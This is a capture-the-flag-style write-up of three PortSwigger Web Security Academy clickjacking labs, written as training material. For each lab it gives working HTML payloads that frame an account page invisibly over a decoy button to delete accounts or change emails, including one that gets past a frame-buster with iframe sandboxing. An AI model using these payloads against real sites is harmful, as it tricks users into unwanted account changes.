Labs Covered
This write-up focuses on the following APPRENTICE-level labs from the PortSwigger Web Security Academy related to Clickjacking:
1 Basic clickjacking with CSRF token protection
This lab demonstrates bypassing CSRF protection by tricking a logged-in user into clicking a hidden framed page
2 Clickjacking with form input data prefilled from a URL parameter
This lab shows how attackers prefill form fields via URL parameters and use clickjacking to submit the request.
3 Clickjacking with a frame buster script
This lab focuses on bypassing a client-side frame-busting defense to successfully perform clickjacking.
LAB 1 - Basic clickjacking with CSRF token protection
Lab Description
Solution
This lab contains login functionality and a delete account button protected by a CSRF token. A user is tricked into clicking elements labeled “click” on a decoy website.
To solve the lab, craft HTML that frames the account page and fools the user into deleting their account.
You can log in using:
Username: wiener
Password: peter
The delete button is part of a simple form that sends a POST request to /my-account/delete. In the message body, a CSRF token is included.
This token prevents me from just faking a complete delete form, as I have no way of knowing it.
One way of circumventing this is to load two pages:
• A webpage with arbitrary content that convinces a user to click on it.
• Show the vulnerable web page in front of it but keep it invisible to the user.
When the user tries to click on my website, the browser will interpret it as a click on the vulnerable page as it is the topmost one.
So my goal is to put something visible behind the invisible Delete account button that the user attempts to click on. The browser interprets this as a click on the button. The CSRF protection does not play any role here. The vulnerable page is received from the real server and contains the valid token.

<head>
<style>
#target_website {
position: relative;
width: 600px;
height: 600px;
opacity: 0.1;
z-index: 2;
}
#decoy_website {
position: absolute;
width: 600px;
height: 600px;
z-index: 1;
}
#btn {
position: absolute;
top: 480px;
left: 90px;
}
</style>
</head>
<body>
<div id="decoy_website">
<button id="btn">click</button>
</div>
<iframe id="target_website" src="https://id-yours.web-security-academy.net/my-account"></iframe>
</body>
Change the opacity to 0.0000 to make the page invisible:
Once the victim clicks, lab shows solved:
LAB 2 - Clickjacking with form input data prefilled from a URL parameter
Lab Description
Solution
This lab allows email changes by pre-filling form fields using URL parameters. The goal is to trick the user into clicking “Update email” on a decoy site.
Use the same credentials:
wiener:peter
The email change functionality is a simple form.
I change the email address of wiener and check the content of the request in Burp:
The correct method is using ?email= in the iframe URL. JavaScript cannot access iframe due to origin policy.
Prefill email field by navigating to:
https://.../my-account?email=mail@evil.me
<head>
<style>
#target_website {
position: relative;
width: 600px;
height: 600px;
opacity: 0.1;
z-index: 2;
}
#decoy_website {
position: absolute;
width: 600px;
height: 600px;
z-index: 1;
}
#btn {
position: absolute;
top: 440px;
left: 70px;
}
</style>
</head>
<body>
<div id="decoy_website">
<button id="btn">Click me</button>
</div>
<iframe id="target_website" src="https://id.web-security-academy.net/my-account?email=test@test.com"></iframe>
</body>
LAB 3 - Clickjacking with a frame buster script
Lab Description
Solution
A frame-buster script on the target detects framing by checking if window != top. If detected, the page wipes itself clean.
The email change functionality is a simple form, this time with an added script:
Frame-busting in action:
To bypass, use iframe sandboxing. sandbox="allow-forms" disables scripts but allows form submission:
<head>
<style>
#target_website {
position: relative;
width: 600px;
height: 600px;
opacity: 0.1;
z-index: 2;
}
#decoy_website {
position: absolute;
width: 600px;
height: 600px;
z-index: 1;
}
#btn {
position: absolute;
top: 440px;
left: 70px;
}
</style>
</head>
<body>
<div id="decoy_website">
<button id="btn">Click me</button>
</div>
<iframe id="target_website" src="https://id.web-security-academy.net/my-account?email=test@test.com" sandbox="allow-forms"></iframe>
</body>
Deliver exploit to victum and Frame-buster is now bypassed:
Submit the form to solve the lab: